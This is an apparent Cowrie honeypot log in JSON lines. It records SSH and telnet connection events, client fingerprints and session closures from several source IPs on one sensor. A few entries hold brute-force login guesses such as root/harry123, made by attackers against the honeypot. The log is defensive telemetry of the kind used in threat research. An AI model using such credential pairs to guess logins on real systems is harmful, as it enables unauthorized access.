{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:32.623454Z","src_ip":"43.243.142.42","session":"acd8502d1dac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:32.854174Z","src_ip":"43.243.142.42","session":"acd8502d1dac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.31647753715515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:33.704608Z","src_ip":"88.202.190.14","session":"38eccbe3527c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv5tgb","message":"login attempt [ubuntu/4rfv5tgb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:33.810216Z","src_ip":"43.243.142.42","session":"acd8502d1dac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":58772,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4cc38a0137f","protocol":"telnet","message":"New connection: 88.202.190.14:58772 (159.203.135.109:23) [session: f4cc38a0137f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:34.109017Z"}
{"eventid":"cowrie.session.closed","duration":31.161837339401245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:34.405778Z","src_ip":"88.202.190.14","session":"a8380b635965","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.224655866622925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:34.600472Z","src_ip":"88.202.190.14","session":"2973f5708fa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.88101840019226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:34.996343Z","src_ip":"88.202.190.14","session":"d1082c9a1714","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:35.046741Z","src_ip":"43.243.142.42","session":"acd8502d1dac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.155893802642822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:35.354480Z","src_ip":"88.202.190.14","session":"b5e4c7dd9dc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":32828,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c1288478624","protocol":"telnet","message":"New connection: 88.202.190.14:32828 (159.203.135.109:23) [session: 4c1288478624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:35.631162Z"}
{"eventid":"cowrie.session.closed","duration":31.6671724319458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:35.669838Z","src_ip":"88.202.190.14","session":"7263d607360f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":33402,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aa4169e59c0","protocol":"telnet","message":"New connection: 88.202.190.14:33402 (159.203.135.109:23) [session: 2aa4169e59c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:36.313900Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":60882,"dst_ip":"159.203.135.109","dst_port":23,"session":"f165fa4ef191","protocol":"telnet","message":"New connection: 88.202.190.14:60882 (159.203.135.109:23) [session: f165fa4ef191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:36.408893Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":33526,"dst_ip":"159.203.135.109","dst_port":23,"session":"5744f71ef46f","protocol":"telnet","message":"New connection: 88.202.190.14:33526 (159.203.135.109:23) [session: 5744f71ef46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:36.434737Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":33712,"dst_ip":"159.203.135.109","dst_port":23,"session":"81f714dbee72","protocol":"telnet","message":"New connection: 88.202.190.14:33712 (159.203.135.109:23) [session: 81f714dbee72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:36.623557Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":32896,"dst_ip":"159.203.135.109","dst_port":23,"session":"ace15e819790","protocol":"telnet","message":"New connection: 88.202.190.14:32896 (159.203.135.109:23) [session: ace15e819790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:36.731814Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":34762,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea8a8ac4322a","protocol":"telnet","message":"New connection: 88.202.190.14:34762 (159.203.135.109:23) [session: ea8a8ac4322a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:37.869338Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":54240,"dst_ip":"10.17.0.5","dst_port":22,"session":"0516c5e2aee2","protocol":"ssh","message":"New connection: 49.247.36.49:54240 (10.17.0.5:22) [session: 0516c5e2aee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:37.979991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:37.988416Z","src_ip":"49.247.36.49","session":"0516c5e2aee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:38.188658Z","src_ip":"49.247.36.49","session":"0516c5e2aee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.556698083877563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:38.479414Z","src_ip":"88.202.190.14","session":"28963418d5fa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"harry123","message":"login attempt [root/harry123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:39.022398Z","src_ip":"49.247.36.49","session":"0516c5e2aee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.905685663223267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:40.002292Z","src_ip":"88.202.190.14","session":"855b083e4243","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:40.225120Z","src_ip":"49.247.36.49","session":"0516c5e2aee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.296523809432983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:40.243026Z","src_ip":"88.202.190.14","session":"e2d73a031cf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":33416,"dst_ip":"159.203.135.109","dst_port":23,"session":"c28c7abffc53","protocol":"telnet","message":"New connection: 88.202.190.14:33416 (159.203.135.109:23) [session: c28c7abffc53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:40.367095Z"}
{"eventid":"cowrie.session.closed","duration":31.217134714126587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:40.934998Z","src_ip":"88.202.190.14","session":"e5de6c4b15eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16199564933777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:41.251755Z","src_ip":"88.202.190.14","session":"713a3889362a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":38248,"dst_ip":"159.203.135.109","dst_port":23,"session":"34b86ce110bb","protocol":"telnet","message":"New connection: 88.202.190.14:38248 (159.203.135.109:23) [session: 34b86ce110bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:41.949995Z"}
{"eventid":"cowrie.session.closed","duration":30.58830761909485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:42.059801Z","src_ip":"88.202.190.14","session":"d5f1f521f81c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140997409820557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:42.742895Z","src_ip":"88.202.190.14","session":"34e9698a1415","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":44146,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f5c611716c1","protocol":"ssh","message":"New connection: 42.200.66.164:44146 (159.203.135.109:22) [session: 6f5c611716c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:43.500525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:43.504532Z","src_ip":"42.200.66.164","session":"6f5c611716c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":37144,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8a011152e98","protocol":"telnet","message":"New connection: 88.202.190.14:37144 (159.203.135.109:23) [session: e8a011152e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:43.529206Z"}
{"eventid":"cowrie.session.closed","duration":30.936566591262817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:43.696800Z","src_ip":"88.202.190.14","session":"4c0258d9f454","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:43.727893Z","src_ip":"42.200.66.164","session":"6f5c611716c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.884052991867065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:43.983974Z","src_ip":"88.202.190.14","session":"215a9865e7b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20352792739868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:44.308631Z","src_ip":"88.202.190.14","session":"6404fc079a26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.311188459396362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:44.625497Z","src_ip":"88.202.190.14","session":"3acf13d0749f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"student5","password":"student5","message":"login attempt [student5/student5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:44.641313Z","src_ip":"42.200.66.164","session":"6f5c611716c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":39758,"dst_ip":"159.203.135.109","dst_port":23,"session":"d68bd17e1529","protocol":"telnet","message":"New connection: 88.202.190.14:39758 (159.203.135.109:23) [session: d68bd17e1529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:44.956042Z"}
{"eventid":"cowrie.session.closed","duration":30.743167400360107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:45.480913Z","src_ip":"88.202.190.14","session":"c7e957529688","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.043943405151367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:45.713500Z","src_ip":"88.202.190.14","session":"b2c7207b11cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:45.865979Z","src_ip":"42.200.66.164","session":"6f5c611716c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":40106,"dst_ip":"159.203.135.109","dst_port":23,"session":"2641fd01db71","protocol":"telnet","message":"New connection: 88.202.190.14:40106 (159.203.135.109:23) [session: 2641fd01db71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:46.343737Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":41722,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a99d63277da","protocol":"telnet","message":"New connection: 88.202.190.14:41722 (159.203.135.109:23) [session: 2a99d63277da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:46.358238Z"}
{"eventid":"cowrie.session.closed","duration":30.58487629890442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:46.434281Z","src_ip":"88.202.190.14","session":"6b06ad8cf494","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.13325548171997,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:46.729111Z","src_ip":"88.202.190.14","session":"868316847c9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63292908668518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:47.396651Z","src_ip":"88.202.190.14","session":"0900d078fc94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17265009880066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:48.782333Z","src_ip":"88.202.190.14","session":"bdbbaff80c72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":45290,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f042ef0e26e","protocol":"telnet","message":"New connection: 88.202.190.14:45290 (159.203.135.109:23) [session: 1f042ef0e26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:50.313408Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":46334,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2c77f582dac","protocol":"telnet","message":"New connection: 88.202.190.14:46334 (159.203.135.109:23) [session: c2c77f582dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:51.540140Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":46598,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b75407cf3b8","protocol":"telnet","message":"New connection: 88.202.190.14:46598 (159.203.135.109:23) [session: 3b75407cf3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:51.768289Z"}
{"eventid":"cowrie.session.closed","duration":30.555582523345947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:52.331478Z","src_ip":"88.202.190.14","session":"9fc0f33f2ef4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34758973121643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:52.871698Z","src_ip":"88.202.190.14","session":"9184bd4ec780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":47796,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c61da976047","protocol":"telnet","message":"New connection: 88.202.190.14:47796 (159.203.135.109:23) [session: 0c61da976047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:53.085162Z"}
{"eventid":"cowrie.session.closed","duration":30.833919048309326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:53.691213Z","src_ip":"88.202.190.14","session":"f1fa38e41d4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.31692934036255,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:54.659253Z","src_ip":"88.202.190.14","session":"6ba0a06262c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":47378,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f70e4cb9762","protocol":"telnet","message":"New connection: 88.202.190.14:47378 (159.203.135.109:23) [session: 3f70e4cb9762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:54.729666Z"}
{"eventid":"cowrie.session.closed","duration":31.331996202468872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:55.023757Z","src_ip":"88.202.190.14","session":"317bfefb6a10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":48710,"dst_ip":"159.203.135.109","dst_port":23,"session":"013ad7939c56","protocol":"telnet","message":"New connection: 88.202.190.14:48710 (159.203.135.109:23) [session: 013ad7939c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:55.100825Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":49184,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3b8d311dcb0","protocol":"telnet","message":"New connection: 88.202.190.14:49184 (159.203.135.109:23) [session: e3b8d311dcb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:55.696528Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.233.119.229","src_port":35942,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5261890aa1a","protocol":"telnet","message":"New connection: 41.233.119.229:35942 (10.17.0.5:23) [session: e5261890aa1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:55.979483Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":51088,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a5d3b8714b6","protocol":"telnet","message":"New connection: 88.202.190.14:51088 (159.203.135.109:23) [session: 2a5d3b8714b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:57.010269Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":51620,"dst_ip":"159.203.135.109","dst_port":23,"session":"589545ac1ebb","protocol":"telnet","message":"New connection: 88.202.190.14:51620 (159.203.135.109:23) [session: 589545ac1ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:57.517840Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":51934,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e78a10f7ced","protocol":"telnet","message":"New connection: 88.202.190.14:51934 (159.203.135.109:23) [session: 7e78a10f7ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:57.892957Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":49556,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a12af52c7a0","protocol":"telnet","message":"New connection: 88.202.190.14:49556 (159.203.135.109:23) [session: 3a12af52c7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:58.206061Z"}
